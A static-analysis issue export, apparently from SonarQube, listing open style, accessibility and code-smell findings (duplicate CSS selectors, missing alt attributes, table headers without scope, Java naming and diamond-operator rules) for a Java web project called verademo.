Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41761 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPO OPEN
css:S4649 MAJOR src/main/webapp/resources/css/pwm.css 127 Font declarations should contain at least one generic font family Unexpected missing generic font family AXc_pLBDm5cS9Pj0Iqo0 OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 82175 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsP- OPEN
css:S4649 MAJOR src/main/webapp/resources/css/bootstrap.css 277 Font declarations should contain at least one generic font family Unexpected missing generic font family AXc_pLBUm5cS9Pj0Iqo2 OPEN
css:S4649 MAJOR src/main/webapp/resources/css/bootstrap.css 6343 Font declarations should contain at least one generic font family Unexpected missing generic font family AXc_pLBUm5cS9Pj0Iqo3 OPEN
css:S4648 MAJOR src/main/webapp/resources/css/bootstrap.css 109 Duplicated font names should be removed Unexpected duplicate name monospace AXc_pLBUm5cS9Pj0Iqo4 OPEN
css:S4661 MAJOR src/main/webapp/resources/css/bootstrap.css 6068 Media features should be valid Unexpected unknown media feature name "transform-3d" AXc_pLBUm5cS9Pj0Iqo5 OPEN
css:S4666 MAJOR src/main/webapp/resources/css/bootstrap.css 1071 Selectors should not be duplicated Unexpected duplicate selector "html", first used at line 8 AXc_pLBUm5cS9Pj0Iqo6 OPEN
css:S4666 MAJOR src/main/webapp/resources/css/bootstrap.css 1076 Selectors should not be duplicated Unexpected duplicate selector "body", first used at line 13 AXc_pLBUm5cS9Pj0Iqo7 OPEN
css:S4666 MAJOR src/main/webapp/resources/css/bootstrap.css 1091 Selectors should not be duplicated Unexpected duplicate selector "a", first used at line 46 AXc_pLBUm5cS9Pj0Iqo8 OPEN
css:S4666 MAJOR src/main/webapp/resources/css/bootstrap.css 1105 Selectors should not be duplicated Unexpected duplicate selector "figure", first used at line 93 AXc_pLBUm5cS9Pj0Iqo9 OPEN
css:S4666 MAJOR src/main/webapp/resources/css/bootstrap.css 1108 Selectors should not be duplicated Unexpected duplicate selector "img", first used at line 87 AXc_pLBUm5cS9Pj0Iqo- OPEN
css:S4666 MAJOR src/main/webapp/resources/css/bootstrap.css 1139 Selectors should not be duplicated Unexpected duplicate selector "hr", first used at line 96 AXc_pLBUm5cS9Pj0Iqo_ OPEN
css:S4666 MAJOR src/main/webapp/resources/css/bootstrap.css 1510 Selectors should not be duplicated Unexpected duplicate selector "code, kbd, pre, samp", first used at line 105 (no-duplicate-selectors) AXc_pLBUm5cS9Pj0IqpA OPEN
css:S4666 MAJOR src/main/webapp/resources/css/bootstrap.css 1539 Selectors should not be duplicated Unexpected duplicate selector "pre", first used at line 102 AXc_pLBUm5cS9Pj0IqpB OPEN
css:S4666 MAJOR src/main/webapp/resources/css/bootstrap.css 2231 Selectors should not be duplicated Unexpected duplicate selector "table", first used at line 183 AXc_pLBUm5cS9Pj0IqpC OPEN
css:S4666 MAJOR src/main/webapp/resources/css/bootstrap.css 2471 Selectors should not be duplicated Unexpected duplicate selector "fieldset", first used at line 168 AXc_pLBUm5cS9Pj0IqpD OPEN
css:S4666 MAJOR src/main/webapp/resources/css/bootstrap.css 2477 Selectors should not be duplicated Unexpected duplicate selector "legend", first used at line 173 AXc_pLBUm5cS9Pj0IqpE OPEN
css:S4666 MAJOR src/main/webapp/resources/css/bootstrap.css 2494 Selectors should not be duplicated Unexpected duplicate selector "input[type="search"]", first used at line 158 AXc_pLBUm5cS9Pj0IqpF OPEN
css:S4666 MAJOR src/main/webapp/resources/css/bootstrap.css 2499 Selectors should not be duplicated Unexpected duplicate selector "input[type="radio"], input[type="checkbox"]", first used at line 147 (no-duplicate-selectors) AXc_pLBUm5cS9Pj0IqpG OPEN
css:S4666 MAJOR src/main/webapp/resources/css/bootstrap.css 2574 Selectors should not be duplicated Unexpected duplicate selector "input[type="search"]", first used at line 158 AXc_pLBUm5cS9Pj0IqpH OPEN
css:S4666 MAJOR src/main/webapp/resources/css/bootstrap.css 3950 Selectors should not be duplicated Unexpected duplicate selector ".nav-tabs.nav-justified > li > a", first used at line 3933 AXc_pLBUm5cS9Pj0IqpI OPEN
javascript:S905 MAJOR src/main/webapp/resources/js/bootstrap.js 11 Non-empty statements should change control flow or have at least one side-effect Expected an assignment or function call and instead saw an expression. AXc_pLBgm5cS9Pj0IqpJ OPEN
javascript:S905 MAJOR src/main/webapp/resources/js/bootstrap.js 28 Non-empty statements should change control flow or have at least one side-effect Expected an assignment or function call and instead saw an expression. AXc_pLBgm5cS9Pj0IqpK OPEN
javascript:S905 MAJOR src/main/webapp/resources/js/bootstrap.js 88 Non-empty statements should change control flow or have at least one side-effect Expected an assignment or function call and instead saw an expression. AXc_pLBgm5cS9Pj0IqpL OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41758 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPN OPEN
javascript:S905 MAJOR src/main/webapp/resources/js/bootstrap.js 300 Non-empty statements should change control flow or have at least one side-effect Expected an assignment or function call and instead saw an expression. AXc_pLBgm5cS9Pj0IqpN OPEN
javascript:S905 MAJOR src/main/webapp/resources/js/bootstrap.js 437 Non-empty statements should change control flow or have at least one side-effect Expected an assignment or function call and instead saw an expression. AXc_pLBgm5cS9Pj0IqpO OPEN
javascript:S905 MAJOR src/main/webapp/resources/js/bootstrap.js 538 Non-empty statements should change control flow or have at least one side-effect Expected an assignment or function call and instead saw an expression. AXc_pLBgm5cS9Pj0IqpP OPEN
javascript:S905 MAJOR src/main/webapp/resources/js/bootstrap.js 633 Non-empty statements should change control flow or have at least one side-effect Expected an assignment or function call and instead saw an expression. AXc_pLBgm5cS9Pj0IqpQ OPEN
javascript:S905 MAJOR src/main/webapp/resources/js/bootstrap.js 750 Non-empty statements should change control flow or have at least one side-effect Expected an assignment or function call and instead saw an expression. AXc_pLBgm5cS9Pj0IqpR OPEN
javascript:S905 MAJOR src/main/webapp/resources/js/bootstrap.js 912 Non-empty statements should change control flow or have at least one side-effect Expected an assignment or function call and instead saw an expression. AXc_pLBgm5cS9Pj0IqpS OPEN
javascript:S905 MAJOR src/main/webapp/resources/js/bootstrap.js 984 Non-empty statements should change control flow or have at least one side-effect Expected an assignment or function call and instead saw an expression. AXc_pLBgm5cS9Pj0IqpT OPEN
javascript:S1117 MAJOR src/main/webapp/resources/js/bootstrap.js 993 Variables should not be shadowed 'e' is already declared in the upper scope. AXc_pLBgm5cS9Pj0IqpU OPEN
javascript:S905 MAJOR src/main/webapp/resources/js/bootstrap.js 1093 Non-empty statements should change control flow or have at least one side-effect Expected an assignment or function call and instead saw an expression. AXc_pLBgm5cS9Pj0IqpV OPEN
javascript:S905 MAJOR src/main/webapp/resources/js/bootstrap.js 1238 Non-empty statements should change control flow or have at least one side-effect Expected an assignment or function call and instead saw an expression. AXc_pLBgm5cS9Pj0IqpW OPEN
javascript:S905 MAJOR src/main/webapp/resources/js/bootstrap.js 1710 Non-empty statements should change control flow or have at least one side-effect Expected an assignment or function call and instead saw an expression. AXc_pLBgm5cS9Pj0IqpY OPEN
javascript:S905 MAJOR src/main/webapp/resources/js/bootstrap.js 1824 Non-empty statements should change control flow or have at least one side-effect Expected an assignment or function call and instead saw an expression. AXc_pLBgm5cS9Pj0IqpZ OPEN
javascript:S905 MAJOR src/main/webapp/resources/js/bootstrap.js 2000 Non-empty statements should change control flow or have at least one side-effect Expected an assignment or function call and instead saw an expression. AXc_pLBgm5cS9Pj0Iqpa OPEN
javascript:S905 MAJOR src/main/webapp/resources/js/bootstrap.js 2075 Non-empty statements should change control flow or have at least one side-effect Expected an assignment or function call and instead saw an expression. AXc_pLBgm5cS9Pj0Iqpb OPEN
javascript:S905 MAJOR src/main/webapp/resources/js/bootstrap.js 2154 Non-empty statements should change control flow or have at least one side-effect Expected an assignment or function call and instead saw an expression. AXc_pLBgm5cS9Pj0Iqpc OPEN
Web:DoctypePresenceCheck MAJOR docs/artifacts/cwe-73-payload.html 1 "<!DOCTYPE>" declarations should appear before "<html>" tags Insert a <!DOCTYPE> declaration to before this <html> tag. AXc_pLBtm5cS9Pj0Iqpd OPEN
Web:S5254 MAJOR docs/artifacts/cwe-73-payload.html 1 "<html>" element should have a language attribute Add "lang" and/or "xml:lang" attributes to this "<html>" element AXc_pLBtm5cS9Pj0Iqpe OPEN
Web:AvoidCommentedOutCodeCheck MAJOR sonar.html 154 Sections of code should not be commented out Remove this commented out code. AXdD-YKMm5cS9Pj0IsOD OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41757 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPM OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 187 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOF OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 188 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOG OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 189 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOH OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41754 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPL OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 227 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOJ OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 228 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOK OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 229 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOL OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 230 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOM OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 231 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsON OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 232 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOO OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 233 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOP OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 234 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOQ OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41753 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPK OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 2221 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOS OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 2222 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOT OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41750 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPJ OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 12309 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOV OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 12310 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOW OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41749 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPI OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 14551 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOY OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 14552 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOZ OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41746 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPH OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 15746 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOb OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 15747 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOc OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41745 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPG OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 15831 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOe OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 15832 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOf OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41742 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPF OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 22324 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOh OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 22325 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOi OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41741 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPE OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 22773 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOk OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 22774 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOl OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41738 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPD OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 39920 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOn OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 39921 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOo OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41737 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPC OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41689 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOq OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41690 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOr OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41693 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOs OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41694 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOt OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41697 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOu OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41698 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOv OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41701 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOw OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41702 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOx OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41705 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOy OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41706 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsOz OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41709 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsO0 OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41710 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsO1 OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41713 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsO2 OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41714 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsO3 OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41717 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsO4 OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41718 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsO5 OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41721 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsO6 OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41722 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsO7 OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41725 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsO8 OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41726 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsO9 OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41729 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsO- OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41730 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsO_ OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41733 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPA OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41734 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPB OPEN
java:S2293 MINOR src/main/java/com/veracode/verademo/controller/BlabController.java 79 The diamond operator ("<>") should be used Replace the type specification in this constructor call with the diamond operator ("<>"). (sonar.java.source not set. Assuming 7 or greater.) AXc_pK_sm5cS9Pj0Iqn7 OPEN
Web:TableWithoutCaptionCheck MINOR sonar.html 41686 "<table>" tags should have a description Add a description to this table. AXdD-YKMm5cS9Pj0IsOp OPEN
Web:TableWithoutCaptionCheck MINOR sonar.html 22770 "<table>" tags should have a description Add a description to this table. AXdD-YKMm5cS9Pj0IsOj OPEN
Web:TableWithoutCaptionCheck MINOR sonar.html 22321 "<table>" tags should have a description Add a description to this table. AXdD-YKMm5cS9Pj0IsOg OPEN
Web:TableWithoutCaptionCheck MINOR sonar.html 15828 "<table>" tags should have a description Add a description to this table. AXdD-YKMm5cS9Pj0IsOd OPEN
Web:TableWithoutCaptionCheck MINOR sonar.html 15743 "<table>" tags should have a description Add a description to this table. AXdD-YKMm5cS9Pj0IsOa OPEN
Web:TableWithoutCaptionCheck MINOR sonar.html 14548 "<table>" tags should have a description Add a description to this table. AXdD-YKMm5cS9Pj0IsOX OPEN
Web:TableWithoutCaptionCheck MINOR sonar.html 12306 "<table>" tags should have a description Add a description to this table. AXdD-YKMm5cS9Pj0IsOU OPEN
Web:TableWithoutCaptionCheck MINOR sonar.html 2218 "<table>" tags should have a description Add a description to this table. AXdD-YKMm5cS9Pj0IsOR OPEN
Web:TableWithoutCaptionCheck MINOR sonar.html 224 "<table>" tags should have a description Add a description to this table. AXdD-YKMm5cS9Pj0IsOI OPEN
Web:TableWithoutCaptionCheck MINOR sonar.html 184 "<table>" tags should have a description Add a description to this table. AXdD-YKMm5cS9Pj0IsOE OPEN
java:S116 MINOR src/main/java/com/veracode/verademo/utils/Constants.java 8 Field names should comply with a naming convention Rename this field "JDBC_HOSTNAME" to match the regular expression '^[a-z][a-zA-Z0-9]*$'. AXc_pK9rm5cS9Pj0IqmX OPEN
Web:ImgWithoutAltCheck MINOR src/main/webapp/WEB-INF/views/feed.jsp 94 Image, area and button with image tags should have an "alt" attribute Add an "alt" attribute to this image. AXc_pLA2m5cS9Pj0Iqoz OPEN
Web:ImgWithoutAltCheck MINOR src/main/webapp/WEB-INF/views/feed.jsp 47 Image, area and button with image tags should have an "alt" attribute Add an "alt" attribute to this image. AXc_pLA2m5cS9Pj0Iqoy OPEN
Web:TableWithoutCaptionCheck MINOR sonar.html 61896 "<table>" tags should have a description Add a description to this table. AXdD-YKMm5cS9Pj0IsPQ OPEN
Web:ImgWithoutAltCheck MINOR src/main/webapp/WEB-INF/views/blabbers.jsp 101 Image, area and button with image tags should have an "alt" attribute Add an "alt" attribute to this image. AXc_pLAmm5cS9Pj0Iqox OPEN
Web:TableWithoutCaptionCheck MINOR src/main/webapp/WEB-INF/views/blabbers.jsp 80 "<table>" tags should have a description Add a description to this table. AXc_pLAmm5cS9Pj0Iqor OPEN
Web:TableWithoutCaptionCheck MINOR sonar.html 62911 "<table>" tags should have a description Add a description to this table. AXdD-YKMm5cS9Pj0IsPT OPEN
Web:ImgWithoutAltCheck MINOR src/main/webapp/WEB-INF/views/blabbers.jsp 48 Image, area and button with image tags should have an "alt" attribute Add an "alt" attribute to this image. AXc_pLAmm5cS9Pj0Iqoq OPEN
Web:ImgWithoutAltCheck MINOR src/main/webapp/WEB-INF/views/tools.jsp 50 Image, area and button with image tags should have an "alt" attribute Add an "alt" attribute to this image. AXc_pLAgm5cS9Pj0Iqoo OPEN
Web:TableWithoutCaptionCheck MINOR sonar.html 65030 "<table>" tags should have a description Add a description to this table. AXdD-YKMm5cS9Pj0IsPW OPEN
Web:TableWithoutCaptionCheck MINOR src/main/webapp/WEB-INF/views/login.jsp 80 "<table>" tags should have a description Add a description to this table. AXc_pLAcm5cS9Pj0Iqom OPEN
Web:ImgWithoutAltCheck MINOR src/main/webapp/WEB-INF/views/login.jsp 42 Image, area and button with image tags should have an "alt" attribute Add an "alt" attribute to this image. AXc_pLAcm5cS9Pj0Iqol OPEN
Web:ImgWithoutAltCheck MINOR src/main/webapp/WEB-INF/views/profile.jsp 161 Image, area and button with image tags should have an "alt" attribute Add an "alt" attribute to this image. AXc_pLAYm5cS9Pj0Iqok OPEN
Web:ImgWithoutAltCheck MINOR src/main/webapp/WEB-INF/views/profile.jsp 84 Image, area and button with image tags should have an "alt" attribute Add an "alt" attribute to this image. AXc_pLAYm5cS9Pj0Iqoj OPEN
Web:TableWithoutCaptionCheck MINOR src/main/webapp/WEB-INF/views/profile.jsp 80 "<table>" tags should have a description Add a description to this table. AXc_pLAYm5cS9Pj0Iqoh OPEN
Web:ImgWithoutAltCheck MINOR src/main/webapp/WEB-INF/views/profile.jsp 46 Image, area and button with image tags should have an "alt" attribute Add an "alt" attribute to this image. AXc_pLAYm5cS9Pj0Iqog OPEN
Web:FieldsetWithoutLegendCheck MINOR src/main/webapp/WEB-INF/views/reset.jsp 68 "<fieldset>" tags should contain a "<legend>" Add a <legend> tag to this fieldset. AXc_pLAUm5cS9Pj0Iqof OPEN
Web:ImgWithoutAltCheck MINOR src/main/webapp/WEB-INF/views/reset.jsp 43 Image, area and button with image tags should have an "alt" attribute Add an "alt" attribute to this image. AXc_pLAUm5cS9Pj0Iqoe OPEN
Web:ImgWithoutAltCheck MINOR src/main/webapp/WEB-INF/views/blab.jsp 105 Image, area and button with image tags should have an "alt" attribute Add an "alt" attribute to this image. AXc_pLARm5cS9Pj0Iqod OPEN
Web:ImgWithoutAltCheck MINOR src/main/webapp/WEB-INF/views/blab.jsp 47 Image, area and button with image tags should have an "alt" attribute Add an "alt" attribute to this image. AXc_pLARm5cS9Pj0Iqoc OPEN
Web:TableWithoutCaptionCheck MINOR src/main/webapp/WEB-INF/views/register-finish.jsp 78 "<table>" tags should have a description Add a description to this table. AXc_pLAMm5cS9Pj0Iqoa OPEN
Web:ImgWithoutAltCheck MINOR src/main/webapp/WEB-INF/views/register-finish.jsp 42 Image, area and button with image tags should have an "alt" attribute Add an "alt" attribute to this image. AXc_pLAMm5cS9Pj0IqoZ OPEN
Web:TableWithoutCaptionCheck MINOR src/main/webapp/WEB-INF/views/register.jsp 82 "<table>" tags should have a description Add a description to this table. AXc_pLAIm5cS9Pj0IqoX OPEN
Web:ImgWithoutAltCheck MINOR src/main/webapp/WEB-INF/views/register.jsp 42 Image, area and button with image tags should have an "alt" attribute Add an "alt" attribute to this image. AXc_pLAIm5cS9Pj0IqoW OPEN
java:S1124 MINOR src/main/java/com/veracode/verademo/controller/BlabController.java 605 Modifiers should be declared in the correct order Reorder the modifiers to comply with the Java Language Specification. AXc_pK_sm5cS9Pj0IqoH OPEN
java:S2293 MINOR src/main/java/com/veracode/verademo/controller/BlabController.java 493 The diamond operator ("<>") should be used Replace the type specification in this constructor call with the diamond operator ("<>"). (sonar.java.source not set. Assuming 7 or greater.) AXc_pK_sm5cS9Pj0IqoF OPEN
java:S2293 MINOR src/main/java/com/veracode/verademo/controller/BlabController.java 330 The diamond operator ("<>") should be used Replace the type specification in this constructor call with the diamond operator ("<>"). (sonar.java.source not set. Assuming 7 or greater.) AXc_pK_sm5cS9Pj0IqoB OPEN
java:S1659 MINOR src/main/java/com/veracode/verademo/controller/BlabController.java 164 Multiple variables should not be declared on the same line Declare "len" on a separate line. AXc_pK_sm5cS9Pj0Iqn9 OPEN
java:S2293 MINOR src/main/java/com/veracode/verademo/controller/BlabController.java 105 The diamond operator ("<>") should be used Replace the type specification in this constructor call with the diamond operator ("<>"). (sonar.java.source not set. Assuming 7 or greater.) AXc_pK_sm5cS9Pj0Iqn8 OPEN
Web:TableWithoutCaptionCheck MINOR sonar.html 39917 "<table>" tags should have a description Add a description to this table. AXdD-YKMm5cS9Pj0IsOm OPEN
Web:TableWithoutCaptionCheck MINOR sonar.html 66843 "<table>" tags should have a description Add a description to this table. AXdD-YKMm5cS9Pj0IsPr OPEN
